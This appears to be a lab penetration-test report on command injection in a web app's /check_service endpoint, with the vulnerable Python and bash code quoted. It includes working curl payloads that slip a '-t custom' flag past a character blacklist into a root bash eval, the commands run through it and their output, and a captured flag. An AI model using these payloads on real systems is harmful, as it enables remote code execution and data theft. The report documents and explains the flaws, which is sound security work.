# Injection Exploitation Evidence

## Successfully Exploited Vulnerabilities

### INJ-VULN-01: Command Injection via Custom Mode Flag Bypass

**Summary:**
- **Vulnerable location:** POST `/check_service` endpoint, `service_name` parameter
- **Overview:** Attacker can inject the `-t custom` flag to bypass input validation and reach a bash `eval` statement that executes arbitrary commands with root privileges
- **Impact:** Complete remote code execution (RCE) as root user within the Docker container, enabling flag extraction, filesystem access, and potential container escape
- **Severity:** CRITICAL

**Prerequisites:**
None - endpoint is publicly accessible without authentication

**Exploitation Steps:**

1. Identify the target endpoint and parameter structure:
   - **Endpoint:** `POST http://localhost:45613/check_service`
   - **Content-Type:** `application/json`
   - **Parameter:** `service_name` (string)

2. Craft payload to bypass blacklist validation and inject custom mode flag:
   ```bash
   curl -X POST http://localhost:45613/check_service \
     -H "Content-Type: application/json" \
     -d '{"service_name": "-t custom whoami"}'
   ```
   **Response:** `{"service_name":"-t custom whoami","status":"root\ntrue"}`
   
   **Explanation:** The blacklist at `app.py:7-9` blocks `&|$;\n\r` and backtick, but allows hyphens and spaces needed to inject the `-t custom` flag. This flag changes the bash script's execution mode from safe "systemctl" to dangerous "custom" mode containing an `eval` statement.

3. Verify current working directory:
   ```bash
   curl -X POST http://localhost:45613/check_service \
     -H "Content-Type: application/json" \
     -d '{"service_name": "-t custom pwd"}'
   ```
   **Response:** `{"service_name":"-t custom pwd","status":"/app\ntrue"}`

4. Enumerate filesystem to locate flag:
   ```bash
   curl -X POST http://localhost:45613/check_service \
     -H "Content-Type: application/json" \
     -d '{"service_name": "-t custom \"ls -la /app\""}'
   ```
   **Response:** 
   ```json
   {
     "service_name": "-t custom \"ls -la /app\"",
     "status": "total 20\ndrwxr-xr-x. 1 root root   22 Oct 24 23:50 .\ndr-xr-xr-x. 1 root root   39 Oct 30 18:12 ..\n-rw-r--r--. 1 root root  374 Oct 24 18:15 Dockerfile\n-rw-r--r--. 1 root root   70 Oct 24 23:50 FLAG.txt\n-rw-r--r--. 1 root root 1164 Oct 24 18:15 app.py\n-rwxr-xr-x. 1 root root 1787 Oct 24 18:15 check_service.sh\n-rw-r--r--. 1 root root   12 Oct 24 18:15 requirements.txt\ndrwxr-xr-x. 2 root root   24 Oct 24 18:15 templates\ntrue"
   }
   ```
   **Identified:** `/app/FLAG.txt` (70 bytes)

5. Extract the flag using cat command:
   ```bash
   curl -X POST http://localhost:45613/check_service \
     -H "Content-Type: application/json" \
     -d '{"service_name": "-t custom \"cat /app/FLAG.txt\""}'
   ```
   **Response:** 
   ```json
   {
     "service_name": "-t custom \"cat /app/FLAG.txt\"",
     "status": "FLAG{6d02caef8ff5891f2c5428e4cdd4c3075cc2caf568d5f4559b5192fd0e04f312}true"
   }
   ```

**Proof of Impact:**

**Flag Extracted:** `FLAG{6d02caef8ff5891f2c5428e4cdd4c3075cc2caf568d5f4559b5192fd0e04f312}`

- **Execution Context:** root user (confirmed via `whoami` command)
- **Working Directory:** `/app` (confirmed via `pwd` command)
- **File Access:** Complete read access to application directory including flag file
- **Command Execution:** Arbitrary bash commands executed via `eval` statement at `check_service.sh:77`

**Technical Details:**

The vulnerability exists due to a defense-in-depth failure across three layers:

1. **Input Validation Layer (app.py:7-9):** Blacklist-based validation blocks common injection metacharacters but critically misses hyphens and spaces:
   ```python
   def contains_bad_chars(s):
       special_chars = ['&', '|', '$', ';', '\n', '\r', '`']
       return any(char in s for char in special_chars)
   ```

2. **Command Execution Layer (app.py:26):** Uses `shell=True` with string concatenation, enabling shell interpretation:
   ```python
   command = f"./check_service.sh {service_name}"
   result = subprocess.check_output(command, shell=True)
   ```

3. **Bash Script Layer (check_service.sh:77):** Direct `eval` execution with no validation:
   ```bash
   custom)
     custom_command=$1
     eval $custom_command  # ARBITRARY CODE EXECUTION
   ```

**Notes:**

- The `-t custom` flag is a legitimate getopts option in the bash script, so it bypasses simple pattern matching
- Double quotes in the payload are processed by the shell invoked via `shell=True`, allowing multi-word commands to be passed as single arguments to the bash script
- The `eval` sink executes commands directly without requiring any shell metacharacters, making the blocked characters (`&|$;` etc.) irrelevant for this attack path
- Container utilities available for post-exploitation: `curl`, `iputils-ping`, `procps` (per Dockerfile analysis)

---

### INJ-VULN-02: Limited Command Injection via PS Mode Flag Bypass

**Summary:**
- **Vulnerable location:** POST `/check_service` endpoint, `service_name` parameter (ps mode)
- **Current Blocker:** Unquoted variable in grep command enables word splitting but has limited exploitation potential - primarily useful for process enumeration rather than arbitrary command execution
- **Potential Impact:** Information disclosure about running processes; demonstrates flag injection capability but does not achieve the same RCE impact as INJ-VULN-01
- **Confidence:** MEDIUM

**Evidence of Vulnerability:**

The vulnerability exists at `check_service.sh:61` where the `$service_name` variable is used unquoted in a grep command:

```bash
ps)
  service_name=$1
  if ps -A | grep -v grep | grep -q $service_name; then
    echo "true"
  else
    echo "false"
  fi
```

**Attempted Exploitation:**

1. Confirmed flag injection capability to reach ps mode:
   ```bash
   curl -X POST http://localhost:45613/check_service \
     -H "Content-Type: application/json" \
     -d '{"service_name": "-t ps python"}'
   ```
   **Response:** `{"service_name":"-t ps python","status":"true"}`
   
   **Result:** Successfully bypassed validation to inject `-t ps` flag

2. Tested process existence checks:
   ```bash
   # Test with non-existent process
   curl -X POST http://localhost:45613/check_service \
     -H "Content-Type: application/json" \
     -d '{"service_name": "-t ps apache"}'
   ```
   **Response:** `{"service_name":"-t ps apache","status":"false"}`
   
   ```bash
   # Test with existing process
   curl -X POST http://localhost:45613/check_service \
     -H "Content-Type: application/json" \
     -d '{"service_name": "-t ps bash"}'
   ```
   **Response:** `{"service_name":"-t ps bash","status":"false"}`

3. Attempted word splitting exploitation:
   - Tested multiple grep argument injection techniques
   - Attempted to inject additional grep flags (e.g., `-E` for extended regex)
   - Results: Unquoted variable allows word splitting but in the context of grep within a pipeline, exploitation is limited to varying grep patterns rather than achieving command execution

**How This Would Be Exploited:**

If the unquoted variable were in a more exploitable context (e.g., directly in command substitution or as a standalone command):

1. Attacker would inject `-t ps` flag to reach ps mode execution path
2. Word splitting on the unquoted `$service_name` variable would allow injection of multiple arguments to grep
3. This could enable:
   - Extended regex patterns for process matching
   - File content search if grep context allowed file arguments
   - However, within the current `ps -A | grep -v grep | grep -q $service_name` pipeline, the impact is limited to boolean process existence checks

**Expected Impact:**

- **Information Disclosure:** Process enumeration to identify running services
- **Limited Exploitation:** Cannot achieve arbitrary command execution through this path
- **Flag Injection Confirmed:** Demonstrates that input validation can be bypassed to control bash script execution mode

**Technical Analysis:**

The unquoted variable at line 61 creates a **word splitting vulnerability** rather than direct command injection:

- Word splitting occurs when unquoted variables are expanded by the shell
- In this context, spaces in the service name would cause grep to interpret multiple words as separate arguments
- However, grep's position in the pipeline (`ps -A | grep -v grep | grep -q $service_name`) limits exploitation - the unquoted variable is used as a pattern match argument, not as a command
- Unlike INJ-VULN-01's `eval` sink, this vulnerability does not provide a direct path to arbitrary command execution

**Comparison to INJ-VULN-01:**

| Aspect | INJ-VULN-01 (custom mode) | INJ-VULN-02 (ps mode) |
|--------|---------------------------|------------------------|
| Sink Type | `eval $custom_command` | `grep -q $service_name` |
| Impact | Arbitrary command execution | Word splitting in grep |
| Exploitability | CRITICAL - Direct RCE | LOW - Limited to process checks |
| Flag Injection | `-t custom` | `-t ps` |
| Proof of Impact | Flag extraction achieved | Process enumeration only |

**Conclusion:**

INJ-VULN-02 confirms the validation bypass technique (flag injection) works across multiple execution paths, but the practical impact is minimal compared to INJ-VULN-01. The unquoted variable is a code quality issue and demonstrates insecure coding practices, but does not achieve the critical impact threshold for exploitation. This finding is classified as a **demonstrable vulnerability with limited impact** rather than a false positive, as it successfully bypasses input validation and reaches a different execution path with a lower-severity sink.